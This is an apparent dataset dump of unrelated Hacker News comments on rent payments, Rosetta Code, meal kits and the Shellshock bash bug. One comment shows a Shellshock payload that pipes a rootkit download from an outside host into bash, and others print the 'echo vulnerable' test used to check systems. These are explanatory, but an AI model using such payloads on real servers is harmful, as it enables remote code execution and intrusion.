skysight-inc/HackerNews huggingface dataset:
There is a potential problem using Rosetta for this kind of comparative study is that there are relatively few programmers working on the Rosetta code samples.

For some languages, the main person who does all the work is not very skilled. Perhaps that person is just doing it as a learning exercise. Or in other cases, the person just doesn't have it on their agenda to make the program as short as possible.

All else being nearly equal, languages whose Rosetta contributors fall into the above categories will "lose" to those languages for which the "Rosetta person" is an expert programmer and advocate of the language (perhaps one of the authors of the language, even!), who is working deliberately to make the code as slick as possible to promote the language, and regards Rosetta to be a competitive playing field.
The other $4.70 goes to paying for the helicopter and hot girl they rented for the promo video.
I have never heard of a landlord in the US that does not accept checks. Many only accept checks (or probably cash if you offered it), particularly non-corporate landlords.

My current (corporate) landlord accepts checks or direct deposit, but not credit or debit.
>> Now it would be great to integrate this data into OSM to get navigation for bikes that takes slopes into account:

Doesn't OSM have elevation data from GPS tracks people upload? Of course this wouldn't help with most of the US which was imported from an older map.
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It really feels like a company injecting themselves into a workflow where there are already totally usable alternatives. Plus they get themselves a handy pool of potential clients of all the landlords they send checks to.
As many other comments have pointed out almost everyone with a debit card already has a free bill pay option from their bank. Thus the only real market for this is paying by credit card. Spiraling debt? Chargebacks? This is going to end badly.
No sockpuppet comments and votes on Hacker News, please.
It's starting to.

I noticed that when I lived in Canada, banks tend to pick up on technology pretty quickly compared to the US. I assumed that was because the Canadian banking industry is dominated by 5 (or is it 6) massive banks while the US has a few massive banks, then tons of smaller regional banks.

When a bank offers something new in Canada, the rest follow suit pretty quickly or they lose customers. In the US there just isn't the same competitive pressures. Or so my theory goes.
>It's just $4.95/month for Debit and 3.25% for Credit.

Writing and mailing a check is worth the $4.50 price difference to me. But if it isn't to you, this may be a good deal.

Looks like this is a recent add-on to their previous apartment listing/finding service.
Check is the standard method of paying rent in the US. Many apartments are getting onboard with online rent payments, but it's still not really standard. My last apartment was check-only. My current apartment complex has online payment, but there's a ton of surcharges (payment collection fee, convenience fee, etc.) adding up to about $50 if you pay online.
That also struck me. Startup time is a good guess, especially considering that rosetta code snippets tend to be the kind of short programs where startup time dominates run time.
My first computer was a Mac Plus, so it appears I just narrowly missed the good ole days.
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I think this is great! My only comment is I wish that the first example was something where meat wasn't the centerpiece. As a culture, we already consume so much more meat than is sustainable, maybe a good home cooked meal where a grain and some vegetables are the centerpiece might encourage fixing that problem, as well as being all around easier to cook!
Yes, this is a problem. Some of the programming languages covered by Rosetta are "code golfing" languages which are designed to produce compact solutions for those types of problems, but are completely useless for developing anything.
Each translation was done and verified by at least two native speakers.
This has been my experience as well, although there is usually a nominal (around $5) fee for transferring from one bank to another. Bank of America transfers are free to another BoA customer. Online bill pay, which falls back to checks if necessary (but doesn't require the payer to deal with checks), is free through BoA.
I've used one of these systems before, and I gotta say, I really like it.
Hi Steve. :) Yes, If I can remember the young woman's name I'll let you know. She had brunette hair IIRC.

[edit] To further that, if you're telling the truth, then I can't imagine why someone would lie about having that job.
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Link for reference: http://www.bartleby.com/36/1/13.html
Can you give some detail on how your merchant account is categorized? It looks like your product is a "cash equivalent" and probably not eligible for rewards points.
I'm the founder of Gobble, and I hear you.

In particular, the packaging is a big concern for me. I'm actually in the works of landing a huge partnership that will allow us to easily pick up all of our packaging when we drop of each week's current box all across the state (just like the milkman). We're so excited to be able to re-use all the boxes, ice packs, and insulation. We'd be the first in the industry to take this big step. Look out for this announcement in the next couple weeks :)
Also weird is that Java is supposedly more consise than C#. But it turns out they're using "cloc" to measure of "lines of code", which doesn't take into account the fact that C# programs typically put opening braces on a new line.
50 bucks in fees just to pay my rent?

I'll write a check, thankyouverymuch.
It's serious. It's a remote code execution vulnerability under whatever user was running bash, and can be exploited by controlling an environment variable. For example, if I enter

() { _;}; curl http://rootk.it | bash

As my username on your website, and your website runs a script and sets TARGET_USER to my username, then I will install my rootkit on your web server.

See: https://access.redhat.com/articles/1200223
My apartment building uses Yapstone's RentPayment.com, which charges me a flat $24.95 fee to use my credit card. I wonder what they're doing to get around processor fees that RadPad isn't.
I'm 40, have always lived in the US, and have never paid my rent in a way other than check. To take it even farther, I'm pretty sure I've written fewer than 100 checks in my entire life that weren't rent checks.
The fixed header and footer on this page makes this very hard to read. They take up like 20% of the vertical screenspace on my 13" MBP.
It's better if you don't build crypto directly into your application at all, because you can still screw things up even if you build on Nacl. But with that said: Sodium/Nacl is better than virtually any of your other options for working directly with cryptography.
The update works fine if updated via iTunes. Only OTA updates are broken. Maybe they didn't test the OTA update process? It sounds absurd but it's the only viable option in my mind.
$4.95 to put it on your debit card though
I'm glad people still remember Pulse Audio :-) What a piece of.......software ?
Yes, you're right. We have perl running on our server, and I just verified that it is vulnerable if any shell scripts are run from perl. However I just quickly switched on modperl, and I verified that it is now not affected. (According to Redhat, mod_perl and php are not affected, but it's good to verify).
So every time you "put it in," you are trying to make a baby? Poor people also know about the different kinds of sex acts available to humans, I'm not sure if you're a virgin, trolling, or just don't understand how human biology works.
Except that most environments already filter out attempts to control PATH, LD_LIBRARY_PATH, and similar; they don't filter out "git".
My favorite startup name? "Fogbeam Labs". But I'm just a little biased. :-)
[Of course, but here is a little story]

I recently heard of a legal principle having to do with what they termed "overbroad" interpretation. The idea is, if there is a law in the United States that could be used to violate the constitution, the whole law gets struck down -- this is often limited to e.g. a subsection. But notably, it doesn't change the law to be the same except in cases where it violates the constitution, it just implodes the law. There's something to be said about the principle of throwing away any system or subsystem that doesn't get the job done, and not just forking and patching it.
Here's a video on how to cup up a chicken: http://www.nytimes.com/video/dining/100000002155362/cutting-...

The great thing is you can make chicken stock with it. Add the chicken stock to the pilaf rice you're making, which goes great with the chicken!
The US does have this. I go online to my bank, put in a name and address, and they send the money. I've even scheduled it to send automatically every month.
Basically, he is doing arm trade in 21st century.
Apple pulled its iOS 8.0.1 update
If you're selling subscriptions, wouldn't that leave you more committed to the journalistic quality readers want rather than letting advertisers dominate that discussion?
This looks awesome, well done!

What are your plans for the future? Is this just a hobby project, or is it something you plan on monetizing or open sourcing? The reason I ask is, I've seen a lot of projects like this fizzle out, which makes me weary of investing any time into using it.

That being said, I'm excited to see your future developments and refinements on this project!
I saw that once in an array that was on 24/7 for years. 1 drive was failing so they shut it down to replace the drive (perhaps hot swap was not an option?) and almost all of the rest of the drives did not come up. Basically the heads stuck to the platters. Aka "stiction".

I would guess in your scenario something like that happened. Or perhaps trying to migrate tons of data to a new disk caused an issue. Just seems unlikely otherwise.
Apple pushed several broken updates under Jobs. Remember the iTunes update that wiped hard drives?
We're working on the ability to use your successful rent payments to contribute to your credit score, which is a huge benefit for folks like me who have no established credit in the US (or bad credit).
See the comment by chollida1 in another part of the thread:
https://news.ycombinator.com/item?id=8358217

"They get paid to sell your orders to Knight Capital, Lava and Credit Suisse.."
"Overall, signature debit networks charged substantially higher fees, on a per-transaction basis (12.5 cents), than did PIN debit networks (5.7 cents), and the difference between these fees on a per-transaction basis widened in 2012."

http://i.imgur.com/3iu43vi.jpg

http://www.federalreserve.gov/paymentsystems/regii-average-i...

"The Board's Regulation II provides that an issuer subject to the interchange fee standard (a covered issuer) may not receive an interchange fee that exceeds 21 cents plus 0.05 percent multiplied by the value of the transaction, plus a 1-cent fraud-prevention adjustment, if eligible. Transactions made using certain reloadable general-use prepaid cards and debit cards issued pursuant to government-administered payment programs are exempt from the interchange fee standard, even if the card is issued by a covered issuer."

Also:

http://www.cardfellow.com/blog/debit-card-transaction-fees/
I'm not sure if you're able to answer this or not. Is it a FB specific configuration? Or are they writing their own drivers/cpu-scheduling?
It can hardly be worse equipped than it was 60 years ago, yet then it inflicted quite a few casualties on the US and NATO forces in Korea, and drove them back south of the 38th Parallel.
People still use cheques? Don't you guys over the pond have Direct Debits?
The failure of abstinence-only advice and education is extremely well documented and transcends class and race.
I think you're overestimating how often that sort of vitriol happens in a workplace. I've been a developer for 16 years now and I've had very strong opinions about development for a long time. I can't remember the last time I made things personal, especially over email.

I think Linus's behavior is often reprehensible. He gets a pass from many because of who he is, which is sad.
I guess I'm thinking of things like "Internet companies who don't realize that they're providing SLA-ed synchronous links with their IP video-conferencing service." They're selling you one thing, but you're getting most of the benefit from a part of it they don't even realize is worth anything.
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Interestingly enough ancient BASH version 3.2 on Mac OS X 10.9.5 is not vulnerable:

$ echo $BASH_VERSION
3.2.51(1)-release
$ x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
$

I manually patched my BASH 4.3 to patch level 25 so it's not vulnerable either.

$ echo $BASH_VERSION
4.3.25(1)-release
$ x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
$
Pure 100% speculation: Maybe this only impacted some carriers and maybe Apple only tests on a subset (e.g. AT&T was tested, but T-Mobile broke, etc).

Would be interesting to hear what carrier it broke on for people.
Yes, lots. nginx + php is very popular.
Happy to see a cooking thing instead of a Soylent thing on HN (but to each their own). An article in similar spirit, but more focused on why you should consider cooking at home, rather than how you would go about doing so:

https://medium.com/lucky-peach/the-end-of-the-world-as-we-kn...
We tried other popular text input projects for iOS, but none felt right and worked fully for our needs. We ended up spending a big portion of our time maintaining custom versions of other projects.

For that reason, we decided to build our own growing text input from scratch, and we've just released it as open source. We hope you all will find it useful!
When I first started paging through the docs it seemed like sort of a useless, dangerous thing. But now (after reading your comment and looking those projects up) it seems like it's an officially blessed version of NaCL, which makes it seem much safer.
I'm considering pulling an rpm from elsewhere until they have this in place.
They allow electronic payments for my apartment, but honestly in the US, that's very rare. Here, a check is the most acceptable way to pay for their mortgage/rent. Many people prefer it due a) A lack of an existing process to accept them (haven't setup through their bank yet) and b) A prevailing distrust of computers and the internet in general.

There are erroneous deductions that can happen if you don't keep an eye on automatic payments and there are horror stories of overbillings, overdrafts etc... so that scares away some people too.
Negotiating?
One of the reasons I switched to an iPhone. Got tired of blowing money on a new phone to get an OS update.
To what extent is a Java Off-Heap management patent applicable
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Barring those (and the space to fit it between the racks), you could attach tracks on the ceiling and use a moving chain & pulley to move them around with just one person. Granted, with double racks you'd still need a ladder to attach the chain.
Agreed. I like this particular gem:
"...except in this case, the intelligence factor has escalated logarithmically".
... said about a Douglas Coupland article in Wired ...
> No one ever explains why having children in poverty makes perfect sense.

Because in societies with weak social support networks, your children are your old-age/disability/etc. support system. That's why there's a pretty clear inverse relationship between strength of social support networks and birth rate. (Its why the developed world generally has lower birthrates than the developing world, and why within the developed world, the US has a higher birthrate than many other countries.)
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Hm, so only if bash is chmod or granted capabilities, absent exploiting some other vulnerability? I'd read you as saying more - no worries.
osx guy here.

Yes and no. It's true that OSX uses a variety of separate daemons, that run in different pids.

However they are all "required", "packaged together", "part of one source tree" and "shipped by a single vendor". In this respect they are a lot like systemd.

In fact it is arguably a lot more integrated. Both Python and Ruby are OSX dependencies. systemd isn't even close to that much of a power-grab.
Enron is probably exceptional due to the fact that they essentially created an out of control shark tank of type-A roid-raging traders who ended up running the asylum.
Show HN: Move Loot Moving Services – how can we make it more magical?
To people in Europe (no idea if grandparent belongs to these), mailing around checks is just a ludicruous idea.

You whip out your strong-authentication-of-the-day device, do the magic bellydance (i.e., enter some numbers into that device, or scan something on the screen) and whoop, you just transfered a sum of money. To someone in a different European (SEPA) country. Without paying anything (except if you live in Italy and have a greedy bank). With the money coming in within two business days at their side.

And of course you have an option to perform monthly payments that way. Some landlords put it in the rent contract that the tenant has to use this method.

France was one of the last country to abandon checks. Why? Because everything is more efficient when it's electronic, and there is less forgery. (You can still send a wire transform via mail with a forged signature, but with these, you can usually go to the recipient and give them a hard time, which is harder with a check someone cashed out two days ago).
I think Ruhlman's Twenty is a great resource for the kind of thing you're looking for.

"All cooking comes down not to recipes but rather to techniques. In Ruhlman’s Twenty, cook, writer, and food authority Michael Ruhlman distills all of cooking into 20 fundamental techniques, illustrated with 100 recipes, and hundreds of instructive photos"

http://www.amazon.com/Ruhlmans-Twenty-Techniques-Recipes-Man...
I just found that annoying. I simply wanted to read the text.
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My rMBP is the first device that I have used yet that I feel boots quickly enough. I mean, it's a few seconds. And that's on top of the fact that I rarely actually turn it off. SSDs are really necessary to have tolerable boot times.
Debit card is 0.22 + 0.05% transactions and this is only for large banks, the fee is set by law with the Durbin Amendment . Smaller banks aren't covered by the amendment and fees are higher, think the going rate is 1.65% and 0.15.

$2000 rent fees range $1.22 to $30. Think $5 is reasonable.
Dwolla might be a good alternative payment system for the app to support also, with a $0.25 processing fee for the transfer part of the fee.
Online billpay mailing a check for no fee still wins though.
Well, wapiti _is_ a species of deer, but it is called that to distinguish it from European species of red deer (Cervus Elaphus - благородный олень) which is what Russians usually mean by "deer".
Plan is simple - to keep going, keep improving, making it better. Vision and pipeline is full of awesome features. And maybe some day Ill manage to monetize :)
>It is a habit as easy to form as a bad one, and more beneficial by far.

>...

>Demonstrably it is more pleasant than a microwaved stew or takeout curry or a pizza delivered from miles away. Cheaper, too.

It's not "easy" or "more pleasant" if you're stressed for time.

Most of the article's paragaphs focus on techniques or process. It's as if they assume the reader is afraid of pots & pans. Or they think the complexity of combining ingredients paralyzes the reader with PTSD from high school chemistry exams.

The main roadblock isn't ignorance of techniques or lack of recipes. (Those are available with a few clicks of youtube or google.) The issue is available time.

We can read these cooking manifestos and all nod in agreement because the benefits make logical sense but the real issue is that the cookbooks and essays don't magically conjure up a nanny to pick up our kid from daycare so we can multitask the chopping of veggies and stir the tomato sauce. Or we're young unmarried 20-something and we're working 60+ hours a week to meet a deadline with no time slot to cook from scratch. (Sounds like those google catered meals makes a lot of sense for programmer productivity.)

By my personal estimates, home cooking requires 4x to 5x more time than ordering prepared meals (fast food or Whole Foods deli takeout.) It takes a significant amount of time to home cook even if you stick to those simple "cook in 30 minutes" type of meals. (Those 30 minute estimates never include shopping, meal planning, prep, and cleanup.)

One strategy to compromise between time and convenience is to cook a bulk supply of a meal (say big pot of quinoa) on Sunday and then eat it as leftovers for the rest of the week. It's a great idea to batch the prep & cleanup on Sunday and leave Monday-Saturday simply as microwave reheating days. The problem with that is many folks are turned off by eating the same thing every day.

Perhaps with all this trend around "sharing economy" like Uber, a web service can bring together the folks who have time to cook with the folks who don't that all live within very close proximity to each other. A web 2.0 manifestation of comparative advantage in economics. A handful of "home chefs" in the apt or condo complex shops and makes the meals while others pay for their portion. This may not work for suburban neighborhoods because getting in a car or walking 10 blocks can be too much friction (distance, raining, etc).
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I do keep eggs in my fridge; that doesn't mean I never run out (my egg use is bursty). Whether that's relevant probably depends much on the time frame these kits are acquired over.
Isn't /bin/sh vulnerable to the same thing? At least it seems for me:

sh-3.2$ env x='() { :;}; echo vulnerable' /bin/sh -c "echo this is a test"
vulnerable
this is a test
Here is a straightforward reason that no one who claims to be some sort of economist (social or otherwise) can argue against:
India has 1.2 billion people and is not particularly endowed with wealth that it can dig out of the ground. So the only way to create wealth is to turn 'sand-into-silicon' aka make productivity gains using the only abundant resource it has - the human resource.
Now if this particular mission can inspire .0001% of additional population to aspire for non-manual labor employment (i.e. study STEM etc), the productivity gain from those people will pay for this mission many times over (I haven't cared to do the math here because I just want to illustrate what I thought is an obvious point which people somehow gloss over).
I love this kind of service - it allows me to pay my bills relatively automatically without giving the payee any of my banking information[1]. The fact that the paper check is a common interface makes this very easy (from my perspective). Just fill in a few fields and the bank (and the business I am paying) take care of the rest.

It's a push model for paying, vs a pull (where you set up auto-deduct).

[1] ok, yeah, it's right there on the check, but I get to sign off on the exact amount of the transaction.
That's ... weird, since the phrase "ignoring function definition attempt" wasn't added to bash 3.2 until today, with patch level 52.

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

Your paste indicates patch level 51.

The phrase in question doesn't appear on the internet much at all before today.

https://www.google.com/search?q="ignoring+function+definitio...

I presume that the one search result we see is due to a server that has an incorrect clock (or a time machine).